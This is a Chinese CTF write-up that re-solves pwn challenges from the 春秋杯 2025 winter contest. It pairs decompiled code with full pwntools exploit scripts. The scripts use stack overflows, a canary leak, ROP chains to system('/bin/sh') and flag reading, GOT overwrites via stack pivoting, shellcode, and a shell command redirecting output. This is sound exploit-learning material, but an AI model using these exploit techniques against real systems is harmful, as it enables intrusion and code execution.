当前位置: 首页 > article >正文

[春秋杯冬季赛2025] pwn复现

看了不少WP,终于把这些重走了一遍。学到不少。

第1天

bypass

先是泄露了libc地址,然后在输入key和val的时候从临时变量s向目标位置复制时并没有正确的判断字符串长度,当val长度填满时会把前边填入的key的值连续复制,造成溢出。由于复制的时候以0表示结束,所以只能写到ret,在这时写one即可。

int m0()
{
  ssize_t v0; // rax
  char s[512]; // [rsp+0h] [rbp-610h] BYREF
  char s2[512]; // [rsp+200h] [rbp-410h] BYREF
  char v4[526]; // [rsp+400h] [rbp-210h] BYREF
  __int16 i; // [rsp+60Eh] [rbp-2h]

  memset(v4, 0, 0x200uLL);
  memset(s2, 0, sizeof(s2));
  memset(s, 0, sizeof(s));
  v0 = read(0, s, 0x200uLL);
  if ( v0 >= 0 )
  {
    LODWORD(v0) = strncmp(s, "KEY: ", 5uLL);
    if ( !(_DWORD)v0 )
    {
      for ( i = 5; s[i]; ++i )
        s2[i - 5] = s[i];
      s2[i - 5] = 0;
      memset(s, 0, sizeof(s));
      v0 = read(0, s, 0x200uLL);
      if ( v0 >= 0 )
      {
        LODWORD(v0) = strncmp(s, "VAL: ", 5uLL);
        if ( !(_DWORD)v0 )
        {
          for ( i = 5; s[i]; ++i )
            v4[i - 5] = s[i];                   // 先填充s2再用,s1填充v4溢出
          v4[i - 5] = 0;
          LODWORD(v0) = strcmp(dest, s2);
          if ( !(_DWORD)v0 )
          {
            LODWORD(v0) = strcmp(byte_602140, v4);
            if ( !(_DWORD)v0 )
            {
              puts("good job!");
              exit(0);
            }
          }
        }
      }
    }
  }
  return v0;
}
from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')

#p = process('./pwn')
p = remote('101.200.198.105', 30867)

p.send(p32(2))
p.recvuntil(b'Invalid\n')
libc.address = u64(p.recvline()[:-1].ljust(8,b'\0')) - libc.sym['puts']
print(f"{libc.address = :x}")

#
#gdb.attach(p, "b*0x400b6b\nc")
p.send(p32(0))

one = [0x4f2a5,0x4f302,0x10a2fc]
p.send((b'KEY: '+b'A'*(14+4)+b'X'+p8(0x18+4)+b'B'*9+p64(libc.address+one[1])).ljust(0x200,b'\0'))

p.send(b'VAL: '+b'A'*(0x200-5))

p.interactive()

'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

gender_simulation

C++的程序,辣子鸡丁式程序,找到一些代码。在选girl再选tomboy时,输入的内容作为指针处理,在这里输入后门地址,后门里有溢出。

    if ( v10 == 50 )
    {
      std::string::basic_string(v9);
      v17 = a1;
      v6 = std::operator<<<std::char_traits<char>>(
             &std::cout,
             "If you think you are a boy, please leave your gender certificate");
      std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
      std::operator>><char>(&std::cin, v9);
      v7 = (const char *)std::string::c_str(v9);// 输入的值被当作函数指针
      strncpy((char *)v17 + 8, v7, 0x10uLL);
      (**(void (__fastcall ***)(Baby *))v17)(v17);
      std::string::~string(v9);
      return std::string::~string(v11);
    }
from pwn import *
context(arch='amd64',log_level = 'debug')

libc = ELF('./libc.so.6') #2.39-0u8.3
elf = ELF('./pwn')

p = process('./pwn')

p.recvuntil(b"A gift: ")
libc.address = int(p.recvline(), 16) - libc.sym['setvbuf']
print(f"{libc.address = :x}")

p.sendlineafter(b"2. Girl\n", b'2')
p.sendlineafter(b"2. Tomboy\n", b'2')

#当选择Tomboy时,会在this+1处读入16字节,然后执行this+1处的函数指针。
p.sendlineafter(b"If you think you are a boy, please leave your gender certificate\n", p64(0x4025e6))

'''
pwndbg> x/20gx 0x4192a0
0x4192a0:       0x0000000000000000      0x0000000000000021
0x4192b0:       0x0000000000405d60      0x0000000000403351  <-- Backdoor:0x4025e6 _Z6genderv
0x4192c0:       0x0000000000000000      0x000000000000ed41

0x405d60->0x4033f6:Girl::gender(Girl *__hidden this)  (this+1)("The certificate is ")
'''

pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
pay = b'\0'*0x18 + flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
#gender
p.sendafter(b"If you think you are a shopping bag, please leave your gender certificate\n", pay)
p.interactive()

 

第2天

easy_http

又是一个复杂代码系统。不清楚这PWN走向何方。难度不大代码巨难看。改成考看代码了。模拟了一个web服务器,有4个路由add,free,edit,show代码很长,其实都没用。在把输入数据解析后进入处理程序,这里空间很小,向栈内复制时会造成溢出。跟走哪个路由没关系。

有个坑,在子进程处理时栈溢出后运行里会有指针用到栈外的数据,需要用个ppp跳过。

from pwn import *
context(arch='amd64', log_level='debug')

p = process('./pwn')
gdb.attach(p, "set follow-fork-mode child\nb*0x40218d\nc")

aa = "POST /show HTTP/1.1\r\nHost: a\r\nContent-Length: {}\r\nContent: "

#show canary
pay = b'A'*0x108+b'X'
p.send(aa.format(len(pay)).encode()+pay +b'\r\n')
p.recvuntil(b'AAX')
canary = b'\0'+p.recv(7)
print('canary = ',canary.hex())

#rop
bss = 0x4e9000
ppp5    = 0x000000000040545d # pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
pop_rdi = 0x000000000040297f # pop rdi ; ret
pop_rsi = 0x000000000040a9ee # pop rsi ; ret
pop_rdx = 0x00000000004a4c4b # pop rdx ; pop rbx ; ret
pop_rax = 0x0000000000459227 # pop rax ; ret
syscall = 0x422ff6 #syscall;ret
pay = b'A'*0x108+canary+flat([0, 
    ppp5, (b'a'*0x15+b'/add\0').ljust(0x28,b'a'),  #qword_4E8308指向一个route 写/add\0
    pop_rdi,0,pop_rsi,bss,pop_rdx,4,0,pop_rax,0,syscall, #read 'flag'
    pop_rdi,bss, pop_rsi,0,pop_rax,2,syscall, #open(flag)
    pop_rdi,3,pop_rsi,bss,pop_rdx,0x50,0,pop_rax,0, syscall, #read(3,buf,0x50)
    pop_rdi,1,pop_rax,1,syscall
]) 
p.send(aa.format(len(pay)).encode()+pay +b'\r\n')

sleep(1)
p.send(b'flag')

p.interactive()

easyshellcode

先输入0x30的name,然后输入3字节代码执行。3字节可以用push rsi;pop rsp;ret跳到name处的ROP执行。ROP执行个read向代码处读入代码。再跳到代码执行shellcode。本地好好的,但是远程一直不成功。后来的WP里也没有。不清楚怎么回事,按理说shellcode题不应该环境不同。

from pwn import *
context(arch='amd64', log_level='debug')

p = process('./pwn')
#gdb.attach(p, "b*0x4013c4\nc")

p.recvuntil(b"gift: ")
buf = int(p.recvuntil(b'.', drop=True), 16)

pop_rdi_rsi = 0x4013c9
syscall = 0x401332
mov_edx_ecx = 0x4012b1

#rax=0  read(0,buf,xx);buf;
p.sendafter(b"> ", flat(pop_rdi_rsi, 0,buf,mov_edx_ecx,syscall,buf))

p.sendafter(b"> ", b'V\\\xc3') #push rsi;pop rsp;ret

p.send(asm(shellcraft.sh()))

p.interactive()

第3天

riya

输入个n就行了,代码不用看了。

topys

代码简单了,作起来难了,到泄露的地方就没弄完。看了WP,还有再跳一次。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  sub_4011D6();
  puts("There are no toys here!");
  printf("Data: ");
  fgets(s, 4919, stdin);
  if ( strlen(s) > 0x80 )
  {
    puts("Too many!");
    exit(-1);
  }
  puts("OK!");
  return 0LL;
}

fgets有个溢出,只是没有可用的gadget。用代码里fgets后边会有leave ret,所以要移栈。

这里用到大概3块,第1块是got表,因为栈有0x80长,对应的后部就是0x80这块,当执行got的写入和泄露时返回地址写到+80的里,但是在这里执行代码会导致覆盖got表系统崩掉。所以这里应该写leave ret跳远远的。跳到在+800的位置。这里一共跳7次。1先移栈到+800,2写3个leave ret到+80处,跳回到+810,写got表(不溢出,利用已写好的+80处的leave ret跳到+800),由于高版本的libc在写got表把strlen改为puts后并不会对这个不正确的位置重填充,所以不能一次完成修改和泄露。在跳到800后再执行移栈跳到got表的其它项执行strlen泄露,最后跳回后写ROP。

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6') #Ubuntu GLIBC 2.39-0ubuntu8.3
elf = ELF('./pwn')

call_fgets = 0x401274 #fgets(s,4919,stdin);strlen(s);puts('');leave;ret
call_strlen = 0x40128c #                   strlen(s);puts('');leave;ret
leave_ret = 0x4012cd   #                                      leave;ret
got_base = 0x404000
got_strlen = 0x404008
plt_puts = 0x401090

#fgets有溢出,多次移栈泄露libc 防止移栈后写到不能写区域

p = process('./pwn')
gdb.attach(p, "b*0x4012cd\nc")
#1                               
p.sendlineafter(b"Data: ", flat(b'\0'*0x80, got_base+0x800, call_fgets))

#2                                         800                         810                          820                           830
p.sendlineafter(b"OK!\n", flat(b'\0'*0x80, got_base+0x100, call_fgets, got_strlen+0x80, call_fgets, got_strlen+0x98, call_strlen, got_strlen+0x700, call_fgets))
'''
0x404800:       0x0000000000404100      0x0000000000401274   #1  read(0x404080)
0x404810:       0x0000000000404088      0x0000000000401274   #3  read(0x404008) 0x404008 <strlen@got.plt>: 0x0000000000401090
0x404820:       0x00000000004040a0      0x000000000040128c   #5  puts:strlen(0x404020) 
0x404830:       0x0000000000404708      0x0000000000401274   #7  read(0x404680)
'''
#3
p.sendlineafter(b"OK!\n", flat(0, got_base+0x820,leave_ret,0,got_base+0x830,leave_ret,).ljust(0x80,b'\0') + flat(got_base+0x810, leave_ret) )
'''
0x404080:       0x0000000000000000      0x0000000000404820  #4  
0x404090:       0x00000000004012cd      0x0000000000000000  
0x4040a0:       0x0000000000404830      0x00000000004012cd  #6
...
0x404100:       0x0000000000404810      0x00000000004012cd  #2
'''
#4
p.sendlineafter(b"OK!\n", flat(plt_puts))

#5
p.recvuntil(b"OK!\n")
libc.address = u64(p.recv(6)+b'\0\0') - 0x88540
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret #next(libc.search(asm('pop rdi;ret')))

#6
p.sendlineafter(b"OK!\n", flat(b'\0'*0x80,0x404900, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
'''
0x404710:       0x0000ffffef90f75b      0x00007ffff7dcb42f
0x404720:       0x00007ffff7c58740      
'''
p.interactive()

rogue_like

这个一直没复现成,可能跟本地和远程有关。在 close(2)后,程序会退出。而远程可能并不受影响。

程序一共有3个菜单,每个菜单里又各有3项。

菜单1的3项分别是:1,写mmap的地址任意偏移处8字节0;2,写1个字符;3,泄露maps

菜单2的3项分别是:1,任意地址写随机数;2,任意地址加不大于5的数,3,同2但有canary

菜单3的3项分别是:1,溢出但close(0);2,泄露栈但没有溢出,3,off_by_null可以将rbp尾字节置0

菜单3会先close(1),close(2)

从后边往前看,有溢出的没有canary不行,泄露canary的又没有溢出。最后出口只有3个,所以选择有溢出的,在1和3里选3,保留标准输入,反正如果有了shell可能把1重定向到0上。

第3关肯定过不了canary所以第1层就只能选1,覆盖canary为0

第2关在官方WP是向got.alarm加5使它把向syscall,然后pop rsp支执行。怎么弄也没弄成。然后我就没用,随便写个地址。不影响运行就行。也没弄成。估计就差在close(2)的里本地和远程的区别了。

题目给了libc-2.27.so,这种旧版的libc 在mmap时会加载到一个固定位置,而且每次都相同。所以先运行下程序选3,泄露maps计算出str与TLS里canary的偏移。

由于没有改alarm,在第3步的时候先作个read到bss然后移栈(因为修改尾字节的移栈空间太小),再调用attack_power的后部直接利用写在栈里值加到got.atoi里将其变成system(改atoi是因为这里与system比较近,其它的就需要大点的数)然后再调用atoi。如果没有关close(2)的话可以拿到shell

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.27.so') 
elf = ELF('./pwn')

p = process('./pwn2')

'''
gef➤  x/2gx &str
0x6020f0 <str>: 0x00007ffff7ff6000      0x0000000000000001
gef➤  canary
[+] The canary of process 3629749 is at 0x7ffff7ff85a8, value is 0x7378a12ff7534b00
gef➤  x/2gx 0x7ffff7ff85a8
0x7ffff7ff85a8: 0x7378a12ff7534b00      0x17fd355f4c0b9189
gef➤  p 0x7ffff7ff85a8-0x00007ffff7ff6000
$1 = 0x25a8
'''
#gdb.attach(p, "b*0x400c8a\nc")
#1.1 set_zero  canary:str-x25a8=0
p.sendlineafter(b"> ", b'1')
p.sendafter(b'..!?\n', str(0x25a8).encode()) #0x25a8 #先手工运行选3计算str与canary的偏移

#gdb.attach(p, "b*0x401000\nc")
#2.2 attack_power got.alarm   alarm+5=syscall
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", str(0x602100).encode())

#3.3 challenge3 read 0x100,read 0x50,set rbp=...0
p.sendlineafter(b"> ", b'3')
#close(1)
pop_rdi = 0x4013f4
pop_rsi = 0x4013f6
pop_rdx = 0x4013f8
pop_rsp = 0x4013fa
pop_rbp = 0x4013fd
bin_sh = 0x4019d7
ret = 0x4013f5
bss = 0x602b00
syscall = elf.got['alarm'] #0x602058
canary = 0

#gdb.attach(p, "b*0x401376\nc")

#pay = flat(pop_rbp,0x602800,pop_rdi,bin_sh,pop_rsi,0,pop_rdx,0,pop_rsp,syscall,canary) #官WP
pay3 = flat(pop_rbp, bss+0x210, 0x400fdc).ljust(0x200, b'\0') 
pay3+= flat(p32(libc.sym['system']-libc.sym['atoi'])*2,0,0,ret,pop_rdi,bss+0x248,elf.plt['atoi'],0,0,b'/bin/sh\0')


pay = flat(pop_rdx,len(pay3),pop_rsi,bss,elf.plt['read'],pop_rsp,bss,0)
pay = p64(ret)*((0x100-len(pay))//8) + pay 
pay2 = pay[:0x50]
p.send(pay)  #buf[v1] = 0;  rbp=...0
p.send(pay2)

#bss
p.send(pay3)
p.send(str(elf.got['atoi']).zfill(0x15).encode())


#sleep(0.5)
p.sendline(b"exec 1>& 0")
p.sendline(b'cat flag')
p.interactive()


http://www.kler.cn/a/513772.html

相关文章:

  • Jenkins-获取build用户信息
  • maven 微服务项目多 包版本问题
  • 多监控m3u8视频流,怎么获取每个监控的封面图(纯前端)
  • STM32补充——FLASH
  • 基于微信小程序的安心陪诊管理系统
  • 第3章:Python TDD更新测试用例测试Dollar类
  • 基于微信小程序的健身房预约管理系统
  • MySQL面试题2025 每日20道【其四】
  • 【0x04】HCI_Connection_Request事件详解
  • C++ 类- 构造和析构
  • 专业辅助软件,独家开发版本,请珍惜使用
  • 【专题】为2025制定可付诸实践的IT战略规划报告汇总PDF洞察(附原数据表)
  • C++ ——— 模拟实现 vector 类
  • RTMP|RTSP播放器只解码视频关键帧功能探讨
  • Esxi下虚拟机磁盘类型厚置备改精简置备
  • leetcode_字符串 14.最长公共前缀函数
  • GitHub的主要用途及核心功能
  • 99.12 金融难点通俗解释:毛利率
  • Cyber Security 101-Security Solutions-Vulnerability Scanner Overview(漏洞扫描程序概述)
  • Excel 技巧17 - 如何计算倒计时,并添加该倒计时的数据条(★)
  • RavenMarket:用AI和区块链重塑预测市场
  • Cursor的详细使用指南
  • 打家劫舍 打家劫舍II 打家劫舍III
  • 三分钟简单了解一些HTML的标签和语法_01
  • error Parsing error: invalid-first-character-of-tag-name vue/no-parsing-error
  • Android系统开发(二十):字体活起来,安卓自定义字体改造指南